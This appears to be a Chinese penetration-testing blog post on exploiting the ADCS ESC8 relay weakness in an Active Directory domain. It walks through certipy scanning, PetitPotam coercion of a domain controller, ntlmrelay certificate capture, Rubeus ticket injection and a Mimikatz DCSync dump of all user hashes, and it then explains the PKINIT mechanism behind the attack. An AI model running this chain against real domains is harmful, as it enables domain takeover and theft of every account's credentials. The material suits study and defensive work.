
0x01 漏洞实战  
一般来说，打ADCS系列的漏洞，是有套路的。

但是套路也不一定管用，这里后面会讲为什么不管用。

这里我们打的是ESC8的漏洞，也就是需要relay，即中继的漏洞。

先看操作

首先用certify先扫一遍

这是certify的命令

然后结果很搞笑，直接告诉我没有漏洞

那么问题来了，certify说没有就是真的没有吗？

其实不然，这里有两种解决方案

1.换一个工具

2.手动测试一下

那么这里先用certipy试一下，发现存在漏洞。

这是工具的结果，也是不要太相信工具，下面我们自己手动测一下吧。

首先下impacket的工具包，把环境装好

这里我用的kali桥接，代入了域内。

先创建一个python的虚拟环境

https://github.com/GhostPack/Certify

certipy find -u xxx@xxx.com -p xxx -dc-ip 127.1.71.1 -vulnerable

https://github.com/fortra/impacket

pip install virtualenv

virtualenv impacket
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虚拟环境创建好了之后，直接

来安装impacket的依赖

 

依赖安装完成就可以测试脚本是否能够跑的起来

发现可以正常跑起来

那么这一步就做完了

接下来我们需要看看域内证书服务器的位置在哪

执行以下命令

source ./bin/activate

cd ../

pip install .



得到两台证书服务器的位置

但是这个命令有个弊端，即无法通过命令行的形式来看回显。

也就是说，这条命令需要通过远程到目标主机，在主机上键入这个命令，弹框后才可以查看到回显。

而一般我们用C2，执行命令无法回显。

这里的办法就是直接certutil，不接后面的参数。

如下

certutil -config - -ping



这样就能直接查看到对应的ca服务器名称，然后ping一下就能获得对应的ip。

ok，现在对应证书服务器的ip定位到了，就开始准备进一步的漏洞利用部分了。

首先在我们的攻击机上做一个监听，开启ntlmrelay。



然后我用PetitPotam漏洞来打一下域控，让他强制认证到我的中继服务器上。

然后抓到证书



复制这张证书，然后利用Rubeus注入票据

执行完毕之后票据会自动注入到内存中。

可以通过klist来查看，然后尝试dcsync操作

发现直接被拒绝。

这里是一个坑，解决这个问题的办法就是带上账号密码进行petitpotam。

这里在强制认证之前追加上账号密码。

Rubeus.exe asktgt /user:DC01$ /certificate:/ptt

python3 PetitPotam.py 10.2.2.2 10.1.1.1 -u xxx -p xxx -d xxx



然后再次重复上面的操作，最后再来一次dcsync。

即可获取域内全量用户的hash。

如果暂时不用这张票据，也可以选择不注入内存，把票据导出来。

在后面加上一个参数即可

从而实现把票据导出，然后再找自己喜欢的机器用Mimikatz获取其他工具来注入TGT。

这里存在一种情况，就是不需要域账户密码，只需要和域具备网络连接环境就可以完成漏洞利用，即在

域控配置错误的情况下。

如下图所示：

lsadump::dcsync /domain:xxx.com /all /csv

/outfile:fucku.krb



域控一旦这样配置了，那么petitpotam就不需要再做账号密码认证了，直接开干就完事了。

这里petitpotam这个py脚本调用的就是lsarpc，可以看到配置在了我们的域控中，不用这个用其他的也
行，反正最终目的都是强制认证

那么一旦不需要账号密码来进行认证，直接petitpotam的参数如下

这里可以看到使用的pipe信息

然后我们启的监听脚本也可以抓到这个证书

python3 PetitPotam.py 127.0.0.1 127.0.0.2



后续利用就还是一样的步骤

然后还有一个涉及多域控环境下的利用问题

有的域控是可以认证的，但是有的域控不行

不行的情况如下

这是一个经典问题，网上也有很多个基于这个问题的解法，同时导致这个问题的原因有很多。

说起原理就很复杂了，笔者长话短说，在多域控环境下一台不行的话，就指定其他域控逐台逐台的再试

一次。

那么这里同样还是用这个证书，指定另外一台域控，就可以了。

即加入了/dc命令来执行kerberos协议请求的对应dc，然后回显success，票据已经成功注入内存。

Rubeus.exe asktgt /user:AD$ /dc:anotherAD /certificate:xxx /ptt



0x02 漏洞本质  
从刚刚的漏洞利用流程中我们可以看到，监听启动之后，就轮到了强制认证环节。

这里解释一下为什么还需要强制认证一次，顺便从头梳理一遍这个漏洞的发生机理。

首先，我们知道，域内认证都是靠这个叫做Kerberos协议的东西。

从用户的感官上来讲，我们域内认证无非就是输入我们的域账号密码，然后登录，然后就可以进去了。

这个过程就用了Kerberos协议，具体细化和KDC的认证流程这里我们先不提，网上有很多资料，这里只
需要知道，原来传统的Kerberos认证是通过我们输入账号密码进行认证就可以了。

但是一旦域内有了ADCS这个东西，就会有一些新花样。

这个新花样在于，这个玩意扩充了原来的Kerberos认证，类似于加载了一个DLC，整了点新活出来。

什么新活呢？就是他扩充了一个叫做PKINIT协议的东西。

这个东西的作用就是支持证书来进行Kerberos认证。

什么意思呢？

就是原来你得输入账号密码进行域认证登录，现在你用证书就可以了。

原来的流程如下图所示：

而现在认证的流程就变成
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1.首先一个用户跟ADCS（证书服务器去申请）先申请一张证书

2.对应用户拿到了证书，就可以用对应用户的名义去KDC那里申请票据，也就是TGT。

3.拿到了TGT就可以完成接下来的Kerberos认证流程了，也就是有权限了。

如下图所示：

那么话又说回到这个强制认证的环节。

这里需要明确几个问题

1.为什么要强制认证，作用在哪里？

2.为什么网上说强制认证之后就可以拿到域控权限了？

那么下面我们逐一来解答。

首先先讨论一下利用背景。

我们的核心目的就是为了取得域控在ADCS证书服务器上的证书，也就是说，我们想要域控去和ADCS证
书服务器做一下交互。

域控是以域控机器账户的身份去申请的证书，那么这张证书理所应当，就具有域管权限。

我们的目的就是偷到这张证书，然后利用这个证书去走扩展的PKINIT协议，实现无账号密码的情况下，
也能拿到TGT从而拿到域管权限。

但是人家域控本来好端端的，鸟都不鸟你一下，你凭什么去让他请求ADCS服务器？还想他帮你认证一个
证书。。。



于是强制认证的作用就体现出来了，他本来是好端端的，但是用类似于PrintBug抑或是现在我漏洞利用
中使用的PetitPotam漏洞，都是可以让域控进行强制认证的。

于是漏洞整体的利用链就被打通了，如下图所示

这里我让域控去跟ADCS服务器申请一个证书，但是我在中间充当了一个恶意服务器，域控以为我是
ADCS服务器，但其实我不是。

然后我拿到了域控提交的凭据之后，再把这个凭据转交给ADCS服务器。

然后ADCS服务器以为是正主来了，东西又是真的，校验过后没有问题，于是就给我发了一张证书。

然后这个证书本来是发给域控的，现在又被我在中间偷到了。

于是我现在就可以用这个证书走扩展的PKINIT协议协议，即利用证书进行认证，直接拿到TGT，也不用
账号密码了。

拿到TGT之后，后续的流程就和传统的Kerberos流程一样了，这里就不再赘述了。

0x03 限制环境下的利用  
通常而言，打到域内之后上面的python环境往往都是不具备的。

而且在win环境下还经常会遇到端口占用的问题，如下：

这种情况的话，可以参考

https://xz.aliyun.com/t/12267#toc-9
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配合python环境打包和端口转发可以解决这个问题，但是需要管理员权限。

Done

参考文档：

https://forum.butian.net/share/1941

https://xz.aliyun.com/t/12267#toc-9

https://mp.weixin.qq.com/s?__biz=MzkxNTEzMTA0Mw==&mid=2247492198&idx=1&sn=a7694516
8a0f875685e3e0d8aad4596c&chksm=c1617daaf616f4bc0e7812ee5eb533ba786dd63c30c3f91cfbd
0bd9e509263b4f36dd5987494&scene=21#wechat_redirect

https://xz.aliyun.com/t/10395

https://zhuanlan.zhihu.com/p/621550159
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